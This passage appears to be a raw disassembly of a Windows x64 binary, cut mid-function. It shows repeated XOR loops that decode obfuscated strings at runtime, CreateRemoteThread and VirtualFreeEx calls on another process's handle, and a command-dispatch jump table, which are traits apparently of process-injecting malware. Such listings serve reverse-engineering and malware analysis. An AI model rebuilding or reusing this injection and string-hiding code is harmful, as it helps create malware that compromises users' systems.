movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp - 8], xmm15
mov ebx, 0x14
mov eax, ebx
lea r8, [rbp - 0x18]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x17
jl 0x140025c50
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xef0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xef0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xef0]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x13f0]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x1310]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1330]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1350]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x13b0]
call fcn.140003dc0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002f598
cmp eax, 2
jne 0x1400259ed
movups xmm0, xmmword [0x14009cf60]
movups xmmword [rbp + 0x8d8], xmm0
movups xmm1, xmmword [0x14009cf70]
movups xmmword [rbp + 0x8e8], xmm1
mov eax, dword [0x14009cf80]
mov dword [rbp + 0x8f8], eax
movzx eax, word [0x14009cf84]
mov word [rbp + 0x8fc], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140025e79
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x8d8]
mov edx, dword [rbp + 0x1300]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x140025d80
cmp r8d, 0x26
jge 0x140025ec3
movsxd rax, r8d
lea r9, [rbp + 0x8d8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140025e90
lea rdx, [rbp + 0x8d8]
lea rcx, [rbp + 0xed0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xed0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xed0]
call fcn.1400523c0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rdi, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400259ed
lea rdx, [rbp + 0x1218]
call fcn.14002fb80
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x140026143
mov r13d, ebx
cmp r12d, 2
jl 0x140026101
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm1, xmm0
movd dword [r9 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm1, xmm0
movd dword [r9 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm1, xmm0
movd dword [r9 + 0xc], xmm1
mov r13d, 0x10
mov r8d, r13d
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r13b
sub al, cl
add al, 0x34
xor byte [r8], al
inc r13d
lea r8, [r8 + 1]
cmp r13d, 0x13
jl 0x140026110
mov rcx, r9
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1298]
call fcn.14002fbb0
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002f7fe
cmp r12d, 2
jl 0x140026402
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, 0x18
mov r8d, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002f7fe
jmp 0x140026410
movsd xmm0, qword [0x14009be20]
movsd qword [rbp + 0x110], xmm0
mov ecx, dword [0x14009be28]
mov dword [rbp + 0x118], ecx
mov r8d, ebx
cmp r12d, 2
jl 0x1400265c0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [0x14009be20]
xorps xmm8, xmm0
movd dword [rbp + 0x110], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm11, xmm1
movd dword [rbp + 0x114], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x118], xmm10
jmp 0x1400265f9
lea r9, [rbp + 0x110]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400265d0
lea rcx, [rbp + 0x110]
call fcn.140014d50
nop
mov rdx, qword [rbp + 0x1328]
cmp rdx, 0xf
jbe 0x140026647
inc rdx
mov rcx, qword [rbp + 0x1310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026642
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faf7
call fcn.1400626b0
mov qword [rbp + 0x1320], rbx
mov qword [rbp + 0x1328], 0xf
mov byte [rbp + 0x1310], 0
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x1400266a1
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002669c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fafd
call fcn.1400626b0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x1400266fb
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400266f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb03
call fcn.1400626b0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], 0xf
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 7
jbe 0x14002675a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
mov qword [rbp + 0x13c0], rbx
mov qword [rbp + 0x13c8], 7
mov word [rbp + 0x13b0], bx
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002f598
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002f598
call fcn.14001d870
movsxd rax, dword [rsp + 0x48]
mov r14d, 4
cmp eax, 0x309
jg case.default.0x1400267da
mov esi, 0x14
mov r13d, 0x10
movdqa xmm6, xmmword [0x14009e400]
je 0x140028a03
cmp eax, 7
ja case.default.0x1400267da
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x2fb58]
add rcx, rdx
jmp rcx
movups xmm0, xmmword [0x14009e070]
movups xmmword [rbp + 0xa48], xmm0
movups xmm1, xmmword [0x14009e080]
movups xmmword [rbp + 0xa58], xmm1
movsd xmm0, qword [0x14009e090]
movsd qword [rbp + 0xa68], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140026924
mov edx, ebx
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xa48]
mov r8d, r14d
mov r9d, dword [rbp + 0x1300]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x28
jl 0x140026831
jmp 0x140026959
lea r9, [rbp + 0xa48]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140026930
lea rdx, [rbp + 0xa48]
lea rcx, [rbp + 0xf10]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf10]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xf10]
call fcn.1400523c0
movups xmm4, xmmword [0x14009b9c0]
movups xmmword [rbp + 0x468], xmm4
movups xmm0, xmmword [0x14009b9d0]
movups xmmword [rbp + 0x478], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140026b88
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x468], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x470]
xorps xmm3, xmm0
movq qword [rbp + 0x470], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x478]
xorps xmm3, xmm0
movq qword [rbp + 0x478], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x480]
xorps xmm3, xmm0
movq qword [rbp + 0x480], xmm3
lea rdx, [rbp + 0x468]
jmp 0x140029004
lea r9, [rbp + 0x468]
nop
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140026b90
lea rdx, [rbp + 0x468]
jmp 0x140029004
movups xmm0, xmmword [str.cZS]
movups xmmword [rbp + 0x7c0], xmm0
movsd xmm0, qword [0x14009daa0]
movsd qword [rbp + 0x7d0], xmm0
mov eax, dword [0x14009daa8]
mov dword [rbp + 0x7d8], eax
movzx eax, word [0x14009daac]
mov word [rbp + 0x7dc], ax
movzx eax, byte [0x14009daae]
mov byte [rbp + 0x7de], al
mov r8d, ebx
cmp r12d, 2
jl 0x140026d3a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x7c0]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140026c40
cmp r8d, 0x1f
jge 0x140026d83
movsxd rax, r8d
lea r9, [rbp + 0x7c0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140026d50
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0xf30]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf30]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xf30]
call fcn.1400523c0
movups xmm4, xmmword [0x14009d948]
movups xmmword [rbp + 0x488], xmm4
movups xmm0, xmmword [0x14009d958]
movups xmmword [rbp + 0x498], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140026fb2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x488], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x490]
xorps xmm3, xmm0
movq qword [rbp + 0x490], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x498]
xorps xmm3, xmm0
movq qword [rbp + 0x498], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4a0]
xorps xmm3, xmm0
movq qword [rbp + 0x4a0], xmm3
lea rdx, [rbp + 0x488]
jmp 0x140029004
lea r9, [rbp + 0x488]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140026fc0
lea rdx, [rbp + 0x488]
jmp 0x140029004
movups xmm0, xmmword [0x14009c138]
movups xmmword [rbp + 0x820], xmm0
movsd xmm0, qword [0x14009c148]
movsd qword [rbp + 0x830], xmm0
mov eax, dword [0x14009c150]
mov dword [rbp + 0x838], eax
movzx eax, byte [0x14009c154]
mov byte [rbp + 0x83c], al
